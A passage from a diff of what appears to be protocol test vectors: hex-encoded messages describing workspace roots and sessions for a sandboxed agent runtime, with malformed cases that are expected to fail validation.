383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-outputs-of-another-session", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-views-nested", "direction": "down", - "hex": "574d583101010000010000003c0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f7465732f646565706572222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000790600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f7465732f646565706572222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-ids-repeat", "direction": "down", - "hex": "574d58310101000001000000370600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000740600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-source-outside-workspace", "direction": "down", - "hex": "574d583101010000010000002b0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f6574632f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000680600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f6574632f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-no-roots", "direction": "down", - "hex": "574d58310101000001000000500500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000008d0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d